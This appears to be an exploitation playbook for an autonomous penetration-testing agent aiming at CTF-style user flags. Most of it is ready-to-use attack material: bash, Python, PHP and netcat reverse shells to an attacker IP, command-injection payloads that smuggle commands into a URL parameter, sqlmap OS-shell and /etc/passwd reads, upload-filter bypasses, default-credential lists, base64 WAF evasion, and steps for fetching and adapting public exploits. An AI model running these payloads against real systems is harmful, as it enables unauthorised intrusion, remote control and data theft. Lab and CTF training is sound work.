Exploitation Knowledge Base

Purpose

This knowledge base provides comprehensive exploitation methodologies and techniques. It covers converting discovered vulnerabilities into actual access, finding and adapting exploits, working in non-interactive environments, establishing stable shells, and capturing the user flag.

Core Topics Covered

1. Exploit Discovery: Finding relevant exploits for discovered services
2. Exploit Adaptation: Modifying exploits to work in the target environment
3. Initial Access: Gaining command execution or shell access
4. Shell Stabilization: Upgrading to stable, usable shells
5. User Flag Capture: Locating and reading user.txt

Tools Available

Exploit Databases

• searchsploit - Local exploit-db search
• msfconsole - Metasploit framework
• Manual search: ExploitDB, GitHub, security advisories

Shell Tools

• Reverse shells: bash, python, php, nc
• Web shells: PHP, ASP, JSP
• rlwrap nc - Stabilize shells

Web Exploitation

• sqlmap - SQL injection
• curl - Manual web testing
• File upload bypass techniques
• Command injection testing

Credential Testing

• hydra - Service brute force (limited use)
• ssh/ftp/mysql - Test discovered credentials

Exploitation Workflow

Phase 1: Multi-Source Exploit Discovery

Core Principle: Use multiple exploit sources in parallel - never rely on a single source.

Layered Exploit Search:

# Layer 1: Local database (fastest)
searchsploit "service version"
searchsploit CVE-YYYY-XXXXX
# If found → proceed to analysis
# If not found → immediately try Layer 2

# Layer 2: Metasploit framework
msfconsole -q -x "search type:exploit name:service_name; exit"
# If found → test with msfconsole
# If not found → immediately try Layer 3

# Layer 3: Online sources (GitHub, Google)
# GitHub API search (automated)
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html_url'

# Google search (manual if needed)
# Search: "CVE-YYYY-XXXXX exploit poc github"
# Search: "service_name version exploit"

# Layer 4: Adapt or create custom exploit
# Based on vulnerability description/advisory
# Modify existing PoC for your environment

Critical Rules:

1. Try all layers - Don't stop at Layer 1 failure
2. Parallel search - If time allows, search multiple sources simultaneously
3. Cross-validate - If multiple exploits exist, try most reliable/recent first
4. Track sources - Record which source worked in successful_paths

Phase 2: Exploit Analysis

Before running:

1. Read the exploit code - understand what it does
2. Check requirements - needed libraries, credentials
3. Identify target parameters - IP, port, payload location
4. Plan adaptation - what needs to be modified

Phase 3: Exploit Adaptation

Common modifications needed:

A. Python Exploits

# Original (interactive)
import sys
target = sys.argv[1]
shell = raw_input("Enter command: ")

# Adapted (non-interactive)
target = "10.10.10.1"
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

B. Metasploit Exploits

# Use non-interactive mode
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP; run; exit"

C. Reverse Shell Payloads

# Bash reverse shell
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PHP reverse shell (for uploads)
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>

# NC reverse shell
nc YOUR_IP 4444 -e /bin/bash
# Or if -e not available:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f

Phase 4: Listener Setup

Always start listener before triggering exploit:

# Simple listener
nc -lvnp 4444

# Stabilized listener with rlwrap
rlwrap nc -lvnp 4444

Phase 5: Execution

Execute exploit and verify success:

# Run exploit
python3 exploit.py

# If successful, you should see connection in listener
# Test with:
id
whoami
pwd

Phase 6: Shell Stabilization

Once you have basic shell:

# Upgrade to TTY shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Common Attack Vectors

1. File Upload Vulnerabilities

# Test simple upload
curl -F "file=@shell.php" http://TARGET/upload.php

# Bypass restrictions
# Try: shell.php.jpg, shell.phtml, shell.php5, shell.PhP

# Find uploaded file
gobuster dir -u http://TARGET/uploads -x php,phtml

# Trigger shell
curl http://TARGET/uploads/shell.php?cmd=id

2. SQL Injection

# Test for SQLi
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3

# If found, try to get shell
sqlmap -u "http://TARGET/page.php?id=1" --os-shell

# Or read files
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd

3. Command Injection

# Test common injection points
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"

# Get reverse shell
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

4. Public Exploits

# If you find CVE-2021-XXXX is applicable
# Search for PoC
searchsploit CVE-2021-XXXX
# Or check GitHub
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'

# Download and adapt
wget https://raw.githubusercontent.com/user/repo/exploit.py
# Modify target IP, ports, payload
# Run
python3 exploit.py

5. Default Credentials

Test these FIRST before complex exploits:

# SSH
ssh admin@TARGET  # Try: admin/admin, root/root, root/toor

# FTP
ftp TARGET  # Try: anonymous/anonymous, admin/admin

# MySQL
mysql -h TARGET -u root -p  # Try: root/'', root/root

# Web Admin Panels
# Try: admin/admin, admin/password, admin/admin123

Environment Detection and Payload Adaptation

Core Principle: Always probe environment before choosing exploitation method.

Pre-Exploitation Environment Check

Check your attacking machine:

# Check critical tools and versions
java -version 2>&1 | head -1       # For JNDI, deserialization exploits
python3 --version                  # For exploit scripts
gcc --version                      # For compiling exploits
which nc netcat ncat               # For reverse shells

# Record environment limitations
# Example: If Java > 8, JNDI injection will be blocked
# Example: If no gcc, can't compile C exploits → need precompiled or script-based

Check target environment (after gaining RCE):

# Via webshell or command injection, test what's available:
which nc python python3 php perl bash sh curl wget

# Test specific versions if exploit requires them
python --version
php --version

# Check writable directories
ls -la /tmp /dev/shm /var/tmp

# Check for filtering/WAF
# Try: echo test
# Try: cat /etc/passwd
# If blocked, try base64 encoding or other bypass

Adaptive Payload Selection

Decision Tree for Reverse Shells:

1. Do we have RCE?
   └─ Yes → Proceed to step 2
   └─ No → Get RCE first (file upload, SQLi, etc.)

2. Check target environment
   └─ nc available? → Use nc reverse shell
   └─ python available? → Use python reverse shell
   └─ php available? (web server) → Use PHP reverse shell
   └─ bash available? → Use bash /dev/tcp method
   └─ None? → Upload binary or use alternative method

3. Test for filtering
   └─ Try basic command: echo test
   └─ If special chars blocked (/, &, >, |) → Use encoding:
      - Base64: echo BASE64 | base64 -d | bash
      - Hex encoding
      - URL encoding
   └─ If commands filtered by keyword → Try alternatives:
      - cat → head, tail, nl, more, less
      - nc → /dev/tcp, telnet, socat

Example Adaptive Flow:

# Step 1: Gained RCE via file upload, test environment
curl "http://TARGET/shell.php?cmd=which nc"
# Response: empty (nc not available)

# Step 2: Try python
curl "http://TARGET/shell.php?cmd=which python3"
# Response: /usr/bin/python3 (available!)

# Step 3: Use python reverse shell
curl "http://TARGET/shell.php?cmd=python3 -c 'import socket,subprocess...'"

# If that fails with error, diagnose:
# - Syntax error? → Check for character filtering
# - No response? → May be WAF blocking
# → Try base64 encoded version

Failure Diagnosis for Exploits

When exploit fails, systematically diagnose:

# Type 1: No response at all
Possible causes:
- Firewall blocking
- Wrong target IP/port
- Service actually not vulnerable
Action: Verify target is reachable, try different port, re-check vulnerability

# Type 2: Error message returned
Possible causes:
- Missing dependency (library, tool)
- Wrong syntax for target environment
- Version mismatch
Action: Read error carefully, install missing deps, adapt exploit code

# Type 3: Exploit runs but no shell
Possible causes:
- Payload blocked by filtering
- Target missing required tool (nc, python)
- Firewall blocking outbound connections
Action: Try different payload encoding, use different shell method, test with simple command first

# Type 4: Tool-specific failure (e.g., Metasploit fails)
Possible causes:
- Bug in Metasploit module
- Configuration issue
Action: Try alternative exploit source (GitHub, manual PoC), check module options

Record diagnosis in state:

jq '.failed_attempts += [{
  "exploit": "CVE-2021-12345",
  "tool": "metasploit",
  "failure_type": "no shell received",
  "diagnosis": "target missing nc, switched to python payload",
  "resolution": "used GitHub PoC with python reverse shell - success"
}]' .pentest-state.json

Handling Non-Interactive Shells

Since you're in CLI-only environment:

Execute Commands Without TTY

# Instead of interactive shell, use command execution
curl http://TARGET/shell.php?cmd=cat+/etc/passwd

# Chain commands
curl http://TARGET/shell.php?cmd=cd+/home;ls+-la

# Use semicolons
curl http://TARGET/shell.php?cmd=id;whoami;pwd

Background Reverse Shells

# Start listener in background
nc -lvnp 4444 > shell-output.txt 2>&1 &

# Trigger exploit
python3 exploit.py

# Check output
cat shell-output.txt

# Send commands via named pipe
mkfifo /tmp/pipe
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &

User Flag Capture

Once you have command execution:

1. Locate User Flag

# Search for user.txt
find / -name "user.txt" 2>/dev/null
find /home -name "user.txt" 2>/dev/null
find /home -name "*.txt" 2>/dev/null

# Common locations
cat /home/*/user.txt
cat /home/user/user.txt

2. Read and Verify

# Read flag
cat /home/username/user.txt

# Verify format (should be 32-char hex)
cat /home/username/user.txt | wc -c  # Should be 33 (32 + newline)

3. Update State

# Save to state file
USER_FLAG=$(cat /home/username/user.txt)
jq --arg flag "$USER_FLAG" '.flags.user = $flag' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json

Troubleshooting Failed Exploits

Common Issues

1. "Connection refused"

   • Check listener is running: netstat -tlnp | grep 4444
   • Verify firewall allows connections
   • Try different port

2. "Module not found" (Python)

   • Install: pip3 install requests pycrypto
   • Or adapt code to remove dependency

3. "Permission denied"

   • Exploit may need root privileges
   • Try different vulnerability

4. "Exploit works but no shell"

   • Check payload syntax
   • Try different reverse shell method
   • Verify target has bash/python/nc

5. "Timeout" or "No response"

   • Target may have WAF/IDS
   • Try encoding payload
   • Use slower, stealthier approach

Decision Tree

Found Vulnerability
│
├─ Is there a public exploit?
│  ├─ Yes → Search searchsploit/GitHub
│  │       → Adapt and run
│  └─ No → Can you write custom exploit?
│          → Develop PoC
│
├─ Initial Access Gained?
│  ├─ Yes → Capture user flag
│  │       → Proceed to privilege escalation
│  └─ No → Try alternative vector
│          → Review reconnaissance data
│          → Attempt different service
│
└─ Stuck after 3 attempts?
   → Re-run reconnaissance
   → Look for overlooked services
   → Check for misconfigurations

Output Format

After successful exploitation:

{
  "status": "user_access_gained",
  "method": "File upload RCE via /uploads",
  "access_level": "www-data",
  "shell_type": "non-interactive webshell",
  "user_flag": "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6",
  "credentials_found": [],
  "next_steps": "Privilege escalation required for root flag"
}

Success Criteria

Success criteria:

1. ✅ Command execution achieved on target
2. ✅ User flag located and read
3. ✅ Flag is 32-character hexadecimal string
4. ✅ Access documented in state file
5. ✅ Ready to proceed to privilege escalation phase

Key Principles

1. Adapt exploits - public exploits rarely work as-is
2. Handle non-interactive - CLI-only environment requires creativity
3. Verify success - always test access with id, whoami
4. Capture flag - don't proceed without user.txt content
5. Document method - save successful path for future reference

Remember

• Try simple before complex (default creds before 0-days)
• Read exploit code before running (understand what it does)
• Non-interactive shells require different commands
• User flag MUST be captured before moving to privesc
• If stuck, revisit reconnaissance for missed vectors